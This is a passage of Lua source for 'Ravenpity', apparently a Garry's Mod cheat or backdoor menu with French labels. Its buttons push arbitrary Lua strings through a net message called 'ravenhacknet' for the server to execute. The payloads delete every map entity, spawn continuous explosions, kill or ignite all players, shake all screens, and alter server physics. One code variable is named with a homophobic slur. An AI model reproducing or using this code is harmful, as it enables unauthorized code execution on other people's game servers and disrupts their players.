- -------------------------------------------------------------------------------------|
- local deleteentities = vgui.Create( "DButton", BackgroundSupportPanel)
- deleteentities:SetPos( 0, 270)
- deleteentities:SetSize( 400, 30 )
- deleteentities:SetText( "Supprimer les Entitées" )
- deleteentities.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if deleteentities:IsHovered() then
- deleteentities:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- deleteentities:SetTextColor( Color( 255, 255, 255 ) )
- end
- deleteentities.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Toutes les Entitées ont été supprimer" )
- end
- end
- end
- /*======================================================================================================================================================================================
- World Options
- ========================================================================================================================================================================================*/
- function RAVEN.WorldOptions()
- if RAVEN.WorldOptionsListe and RAVEN.WorldOptionsListe:IsVisible() then RAVEN.WorldOptionsListe:Remove() end
- RAVEN.WorldOptionsListe = vgui.Create("DFrame")
- RAVEN.WorldOptionsListe:SetSize(682,350)
- RAVEN.WorldOptionsListe:SetTitle("")
- RAVEN.WorldOptionsListe:SetPos( 342, 250 )
- RAVEN.WorldOptionsListe:MakePopup()
- RAVEN.WorldOptionsListe:ShowCloseButton( false )
- RAVEN.WorldOptionsListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonWorldOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonWorldOptions:SetPos( 0, 370)
- CloseButtonWorldOptions:SetSize( 400, 30 )
- CloseButtonWorldOptions:SetText( "X" )
- CloseButtonWorldOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonWorldOptions:IsHovered() then
- CloseButtonWorldOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonWorldOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonWorldOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonWorldOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonWorldOptions:SetPos( 0, 340)
- ReturnButtonWorldOptions:SetSize( 400, 30 )
- ReturnButtonWorldOptions:SetText( "<--" )
- ReturnButtonWorldOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonWorldOptions:IsHovered() then
- ReturnButtonWorldOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonWorldOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonWorldOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local armageddonon = vgui.Create( "DButton", BackgroundSupportPanel)
- armageddonon:SetPos( 0, 0)
- armageddonon:SetSize( 400, 30 )
- armageddonon:SetText( "Armageddon" )
- armageddonon.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if armageddonon:IsHovered() then
- armageddonon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- armageddonon:SetTextColor( Color( 255, 86, 86 ) )
- end
- armageddonon.DoClick = function()
- local faggot = [[
- hook.Add("Think", "armageddon", function()
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end)
- ]]
- net.Start(ravenhacknet)
- net.WriteString( faggot )
- net.WriteBit (1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Armageddon lançé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local moongravityon = vgui.Create( "DButton", BackgroundSupportPanel)
- moongravityon:SetPos( 0, 30)
- moongravityon:SetSize( 400, 30 )
- moongravityon:SetText( "Gravité Lunaire" )
- moongravityon.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if moongravityon:IsHovered() then
- moongravityon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- moongravityon:SetTextColor( Color( 255, 255, 255 ) )
- end
- moongravityon.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"160\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Gravité Lunaire activé" )
- end
- end
- local moongravityoff = vgui.Create( "DButton", BackgroundSupportPanel)
- moongravityoff:SetPos( 365, 35)
- moongravityoff:SetSize( 20, 20 )
- moongravityoff:SetText( "X" )
- moongravityoff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if moongravityoff:IsHovered() then
- moongravityoff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- moongravityoff:SetTextColor( Color( 255, 255, 255 ) )
- end
- moongravityoff.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"500\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Gravité Lunaire désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local makeplayersflyon = vgui.Create( "DButton", BackgroundSupportPanel)
- makeplayersflyon:SetPos( 0, 60)
- makeplayersflyon:SetSize( 400, 30 )
- makeplayersflyon:SetText( "Détruire la Physique du jeux" )
- makeplayersflyon.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if makeplayersflyon:IsHovered() then
- makeplayersflyon:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- makeplayersflyon:SetTextColor( Color( 255, 255, 255 ) )
- end
- makeplayersflyon.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Physique du Jeux détruite" )
- end
- end
- local makeplayersflyoff = vgui.Create( "DButton", BackgroundSupportPanel)
- makeplayersflyoff:SetPos( 365, 65)
- makeplayersflyoff:SetSize( 20, 20 )
- makeplayersflyoff:SetText( "X" )
- makeplayersflyoff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if makeplayersflyoff:IsHovered() then
- makeplayersflyoff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- makeplayersflyoff:SetTextColor( Color( 255, 255, 255 ) )
- end
- makeplayersflyoff.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"sv_friction\", \"4\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Physique du Jeux remit par Défault" )
- end
- end
- -------------------------------------------------------------------------------------|
- local eartquake = vgui.Create( "DButton", BackgroundSupportPanel)
- eartquake:SetPos( 0, 90)
- eartquake:SetSize( 400, 30 )
- eartquake:SetText( "Tremlement de Terre" )
- eartquake.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if eartquake:IsHovered() then
- eartquake:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- eartquake:SetTextColor( Color( 255, 255, 255 ) )
- end
- eartquake.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString(" for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end ")
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tremblement de Terre lançé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local igniteplayers = vgui.Create( "DButton", BackgroundSupportPanel)
- igniteplayers:SetPos( 0, 120)
- igniteplayers:SetSize( 400, 30 )
- igniteplayers:SetText( "Bruler les Joueurs" )
- igniteplayers.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if igniteplayers:IsHovered() then
- igniteplayers:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- igniteplayers:SetTextColor( Color( 255, 255, 255 ) )
- end
- igniteplayers.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueurs brûlent" )
- end
- end
- -------------------------------------------------------------------------------------|
- local killallplayer = vgui.Create( "DButton", BackgroundSupportPanel)
- killallplayer:SetPos( 0, 150)
- killallplayer:SetSize( 400, 30 )
- killallplayer:SetText( "Tuer tout les Joueurs" )
- killallplayer.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if killallplayer:IsHovered() then
- killallplayer:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- killallplayer:SetTextColor( Color( 255, 255, 255 ) )
- end
- killallplayer.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tout les Joueur ont été tuer" )
- end
- end
- end
- /*======================================================================================================================================================================================
- Spawn Options
- ========================================================================================================================================================================================*/
- function RAVEN.SpawnOptions()
- if RAVEN.SpawnOptionsListe and RAVEN.SpawnOptionsListe:IsVisible() then RAVEN.SpawnOptionsListe:Remove() end
- RAVEN.SpawnOptionsListe = vgui.Create("DFrame")
- RAVEN.SpawnOptionsListe:SetSize(682,350)
- RAVEN.SpawnOptionsListe:SetTitle("")
- RAVEN.SpawnOptionsListe:SetPos( 342, 250 )
- RAVEN.SpawnOptionsListe:MakePopup()
- RAVEN.SpawnOptionsListe:ShowCloseButton( false )
- RAVEN.SpawnOptionsListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonSpawnOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonSpawnOptions:SetPos( 0, 370)
- CloseButtonSpawnOptions:SetSize( 400, 30 )
- CloseButtonSpawnOptions:SetText( "X" )
- CloseButtonSpawnOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonSpawnOptions:IsHovered() then
- CloseButtonSpawnOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonSpawnOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonSpawnOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonSpawnOptions = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonSpawnOptions:SetPos( 0, 340)
- ReturnButtonSpawnOptions:SetSize( 400, 30 )
- ReturnButtonSpawnOptions:SetText( "<--" )
- ReturnButtonSpawnOptions.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonSpawnOptions:IsHovered() then
- ReturnButtonSpawnOptions:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonSpawnOptions:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonSpawnOptions.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local startundo = vgui.Create( "DButton", BackgroundSupportPanel)
- startundo:SetPos( 0, 0)
- startundo:SetSize( 400, 30 )
- startundo:SetText( "Undo" )
- startundo.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startundo:IsHovered() then
- startundo:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startundo:SetTextColor( Color( 128, 119, 255 ) )
- end
- startundo.DoClick = function()
- LocalPlayer():ConCommand("undo")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnlogogmod = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnlogogmod:SetPos( 0, 30)
- spawnlogogmod:SetSize( 400, 30 )
- spawnlogogmod:SetText( "Logo Garry's Mod" )
- spawnlogogmod.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnlogogmod:IsHovered() then
- spawnlogogmod:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnlogogmod:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnlogogmod.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/maxofs2d/logo_gmod_b.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnsky = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnsky:SetPos( 0, 60)
- spawnsky:SetSize( 400, 30 )
- spawnsky:SetText( "Ciel Rouge" )
- spawnsky.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnsky:IsHovered() then
- spawnsky:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnsky:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnsky.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_combine/portalskydome.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnbuildings_a = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnbuildings_a:SetPos( 0, 90)
- spawnbuildings_a:SetSize( 400, 30 )
- spawnbuildings_a:SetText( "Immeuble 1" )
- spawnbuildings_a.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnbuildings_a:IsHovered() then
- spawnbuildings_a:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnbuildings_a:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnbuildings_a.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_buildings/row_res_1_fullscale.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnbuildings_b = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnbuildings_b:SetPos( 0, 120)
- spawnbuildings_b:SetSize( 400, 30 )
- spawnbuildings_b:SetText( "Immeuble 2" )
- spawnbuildings_b.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnbuildings_b:IsHovered() then
- spawnbuildings_b:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnbuildings_b:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnbuildings_b.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_buildings/collapsedbuilding02b.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnbuildings_c = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnbuildings_c:SetPos( 0, 150)
- spawnbuildings_c:SetSize( 400, 30 )
- spawnbuildings_c:SetText( "Immeuble 3" )
- spawnbuildings_c.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnbuildings_c:IsHovered() then
- spawnbuildings_c:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnbuildings_c:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnbuildings_c.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_buildings/project_building02.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnbuildings_d = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnbuildings_d:SetPos( 0, 180)
- spawnbuildings_d:SetSize( 400, 30 )
- spawnbuildings_d:SetText( "Immeuble 4" )
- spawnbuildings_d.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnbuildings_d:IsHovered() then
- spawnbuildings_d:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnbuildings_d:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnbuildings_d.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_buildings/building_002a.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnmicroprops = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnmicroprops:SetPos( 0, 210)
- spawnmicroprops:SetSize( 400, 30 )
- spawnmicroprops:SetText( "Micro Props" )
- spawnmicroprops.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnmicroprops:IsHovered() then
- spawnmicroprops:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnmicroprops:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnmicroprops.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props/cs_office/plant01_gib1.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawnbugatti = vgui.Create( "DButton", BackgroundSupportPanel)
- spawnbugatti:SetPos( 0, 240)
- spawnbugatti:SetSize( 400, 30 )
- spawnbugatti:SetText( "Bugatti Veyron" )
- spawnbugatti.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawnbugatti:IsHovered() then
- spawnbugatti:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawnbugatti:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawnbugatti.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/tdmcars/bug_veyronss.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawntree_a = vgui.Create( "DButton", BackgroundSupportPanel)
- spawntree_a:SetPos( 0, 270)
- spawntree_a:SetSize( 400, 30 )
- spawntree_a:SetText( "Arbre 1" )
- spawntree_a.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawntree_a:IsHovered() then
- spawntree_a:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawntree_a:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawntree_a.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_foliage/tree_poplar_01.mdl")
- end
- end
- -------------------------------------------------------------------------------------|
- local spawntree_b = vgui.Create( "DButton", BackgroundSupportPanel)
- spawntree_b:SetPos( 0, 300)
- spawntree_b:SetSize( 400, 30 )
- spawntree_b:SetText( "Arbre 2" )
- spawntree_b.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spawntree_b:IsHovered() then
- spawntree_b:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spawntree_b:SetTextColor( Color( 255, 255, 255 ) )
- end
- spawntree_b.DoClick = function()
- LocalPlayer():ConCommand("gm_spawn models/props_foliage/tree_cliff_02a.mdl")
- end
- end
- end
- /*======================================================================================================================================================================================
- Controller Options
- ========================================================================================================================================================================================*/
- function RAVEN.Controller()
- if RAVEN.ControllerListe and RAVEN.ControllerListe:IsVisible() then RAVEN.ControllerListe:Remove() end
- RAVEN.ControllerListe = vgui.Create("DFrame")
- RAVEN.ControllerListe:SetSize(682,350)
- RAVEN.ControllerListe:SetTitle("")
- RAVEN.ControllerListe:SetPos( 342, 250 )
- RAVEN.ControllerListe:MakePopup()
- RAVEN.ControllerListe:ShowCloseButton( false )
- RAVEN.ControllerListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonController = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonController:SetPos( 0, 370)
- CloseButtonController:SetSize( 400, 30 )
- CloseButtonController:SetText( "X" )
- CloseButtonController.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonController:IsHovered() then
- CloseButtonController:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonController:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonController.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonController = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonController:SetPos( 0, 340)
- ReturnButtonController:SetSize( 400, 30 )
- ReturnButtonController:SetText( "<--" )
- ReturnButtonController.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonController:IsHovered() then
- ReturnButtonController:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonController:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonController.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local startmakeplayerdanse = vgui.Create("DButton", BackgroundSupportPanel )
- startmakeplayerdanse:SetPos( 0, 0)
- startmakeplayerdanse:SetSize( 400, 30 )
- startmakeplayerdanse:SetText("Danse")
- startmakeplayerdanse:SetTextColor(Color(255,255,255,255))
- startmakeplayerdanse.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startmakeplayerdanse:IsHovered() then
- startmakeplayerdanse:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
- end
- startmakeplayerdanse.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Danse activé" )
- end
- end
- local stopmakeplayerdanse = vgui.Create( "DButton", BackgroundSupportPanel)
- stopmakeplayerdanse:SetPos( 365, 5)
- stopmakeplayerdanse:SetSize( 20, 20 )
- stopmakeplayerdanse:SetText( "X" )
- stopmakeplayerdanse.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopmakeplayerdanse:IsHovered() then
- stopmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopmakeplayerdanse:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopmakeplayerdanse.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString("timer.Stop( \"dance_loop\")")
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Danse désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetturnright = vgui.Create("DButton", BackgroundSupportPanel )
- startsetturnright:SetPos( 0, 30)
- startsetturnright:SetSize( 400, 30 )
- startsetturnright:SetText("Tourner à Droite")
- startsetturnright:SetTextColor(Color(255,255,255,255))
- startsetturnright.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetturnright:IsHovered() then
- startsetturnright:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
